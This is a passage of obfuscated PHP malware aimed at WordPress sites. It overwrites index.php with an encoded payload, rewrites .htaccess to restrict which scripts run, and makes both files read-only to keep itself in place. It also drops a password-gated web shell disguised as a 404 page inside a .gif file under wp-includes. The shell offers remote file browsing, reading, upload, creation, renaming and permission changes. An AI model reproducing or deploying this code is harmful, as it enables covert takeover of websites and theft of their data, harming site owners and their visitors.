S2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ